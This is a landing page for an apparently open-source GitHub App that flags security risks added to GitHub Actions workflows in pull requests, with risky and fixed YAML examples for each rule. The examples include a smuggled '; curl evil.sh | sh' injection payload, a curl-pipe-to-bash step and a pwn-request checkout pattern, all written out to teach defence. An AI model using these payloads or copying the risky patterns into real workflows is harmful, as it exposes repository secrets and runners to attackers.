Free GitHub App · open source

Catch risky workflow changes before they merge.

Actions Guard reviews every pull request that touches .github/workflows and flags the security risks it adds – script injection, pwn requests, unpinned actions, broad token permissions. Right on the line, as a check you can require.

Only what the PR adds Stores nothing MIT licensed
Open Add a preview deployment for pull requests
.github/workflows/preview.yml
Actions GuardWaiting for a push…
Actions GuardComparing with the base branch…
Actions Guard – failed2 new risks: 1 critical, 1 high
Actions Guard – passedNo new risks in 1 workflow file
Illustration of a review – here's the real thing.
8rules from GitHub's hardening guide
0findings for code that was already there
131real workflows parsed without a miss
0 Bof your code stored, ever
How it works

A second reviewer for the file that can leak every secret.

Workflows run with your tokens and secrets. A one-line change there deserves more than a quick look.

A pull request changes a workflow

GitHub tells the app. Pull requests that don't touch .github/workflows are left alone.

Base and head are compared

Both versions of each changed file go through the same rules. Only what's new counts – moved lines don't.

The result lands in the pull request

A check run with annotations on the lines, and one comment that updates itself – or says all clear.

Rules

What it catches

Each finding links here. Open a rule for the risky pattern and the fix.

untrusted-checkout

critical

Running a pull request's code with your secrets – a "pwn request".

pull_request_target and workflow_run run with a write token and the repository's secrets, even for forks. Checking out the pull request's code there and running anything from it hands both to whoever opened it.

Risky
on: pull_request_target
steps:
  - uses: actions/checkout@v4
    with:
      ref: ${{ github.event.pull_request.head.sha }}
  - run: npm install
Fix
on: pull_request   # no secrets for forks
steps:
  - uses: actions/checkout@v4
  - run: npm install

script-injection

high

Titles, bodies, branch names or commit messages pasted into a script.

Expressions are replaced before the shell runs, so a title like "; curl evil.sh | sh # becomes code. Covered: issue, pull request, discussion, comment and review text, commit messages and authors, branch names, wiki page names – in run: and actions/github-script.

Risky
- run: echo "${{ github.event.issue.title }}"
Fix
- env:
    TITLE: ${{ github.event.issue.title }}
  run: echo "$TITLE"

self-hosted-runner

high

Strangers' pull requests running on your own machines.

In a public repository anyone can open a pull request. A pull_request job on a self-hosted runner executes their code on your machine – which usually keeps state between jobs and can reach your network.

Risky
on: pull_request
jobs:
  test:
    runs-on: [self-hosted, linux]
Fix
on: pull_request
jobs:
  test:
    runs-on: ubuntu-latest

excessive-permissions

highmediumlow

A token that can do more than the job needs.

write-all is high. Write access to contents, actions, packages or deployments is medium – it reaches code, workflows and releases. Narrower scopes such as pull-requests, or id-token for trusted publishing, are low: often right, worth a look when a pull request adds them.

Risky
permissions: write-all
Fix
permissions:
  contents: read
jobs:
  release:
    permissions:
      contents: write

unpinned-action

medium

Third-party code on a tag its owner can move.

A tag like @v2 can be moved by the owner – or whoever takes over their account – and the new code runs with your token and secrets. Pin actions, reusable workflows and docker:// images to a commit SHA or digest. actions/* and github/* are allowed by default.

Risky
- uses: some-org/deploy@v2
Fix
- uses: some-org/deploy@8f4b7f84bd9e… # v2.1.0

secrets-inherit

medium

Every secret handed to a reusable workflow.

secrets: inherit passes all of the repository's secrets to the called workflow. Pass the ones it uses.

Risky
uses: ./.github/workflows/deploy.yml
secrets: inherit
Fix
uses: ./.github/workflows/deploy.yml
secrets:
  token: ${{ secrets.DEPLOY_TOKEN }}

missing-permissions

low

A job that inherits the repository's default token.

Without permissions: the token gets the repository default, which can be write access to everything. Start from read and widen per job.

Risky
on: push
jobs:
  build: …
Fix
on: push
permissions:
  contents: read
jobs:
  build: …

curl-pipe-shell

low

Running whatever a server sends today.

A download piped into a shell can change between runs. Fetch a pinned version, check its checksum, then run it.

Risky
- run: curl -sSL https://get.tool.sh | bash
Fix
- run: |
    curl -sSLo tool.sh https://get.tool.sh/v1.4.2
    echo "3b1f…  tool.sh" | sha256sum -c
    bash tool.sh
Why this one

Built for pull requests, not audits.

Only what's new

A linter run over years of workflows buries you on day one. Actions Guard compares base and head, so it speaks up when a change adds a risk – and not otherwise.

Quiet by design

One comment per pull request that updates itself, annotations right on the lines, and a check that fails only at the severity you choose.

Can't be talked out of it

Settings are read from the base branch, so a pull request can't switch off its own review. Every webhook is verified; nothing is stored.

Setup

Running in two minutes

Use the hosted app, run your own, or use the same rules from the command line.

  1. Install Actions Guard on the repositories you want reviewed.
  2. Open a pull request that changes a workflow – the check and the comment appear within seconds.
  3. Optional: require the Actions Guard check in your branch protection rules.
Permissions

Asks for little

One event: pull_request.

PermissionAccessUsed for
Contentsreadthe workflow files at base and head
Pull requestswritethe changed files, and the comment
Checkswritethe check run and its annotations
Metadatareadrequired by GitHub for every app
Privacy

Nothing is kept

  • Each webhook is handled in memory and discarded – no code, file contents or personal data are stored or shared.
  • Logs hold only the delivery ID, the repository, the pull request number and the outcome.
  • No analytics, no cookies. Uninstalling ends all access.
FAQ

Questions

Why doesn't it report the problems my workflows already have?
On purpose: a review is about the change. To audit everything at once, run the command line over .github/workflows/*.yml.
Can a pull request turn the check off?
No. .github/actions-guard.yml is read from the base commit, so edits to it take effect only after they're merged.
Does it cost anything?
No. It's free and MIT licensed – install the hosted app or run your own copy.
It flagged something that's fine. What now?
Add the rule to ignore or the action to allow_unpinned in the settings – and please open an issue with the smallest workflow that shows it.
Is it made by GitHub?
No – it's an independent open-source project built on GitHub's public APIs.

Your next workflow change, reviewed.

Install it on one repository and open a pull request. If it's quiet, that's the point.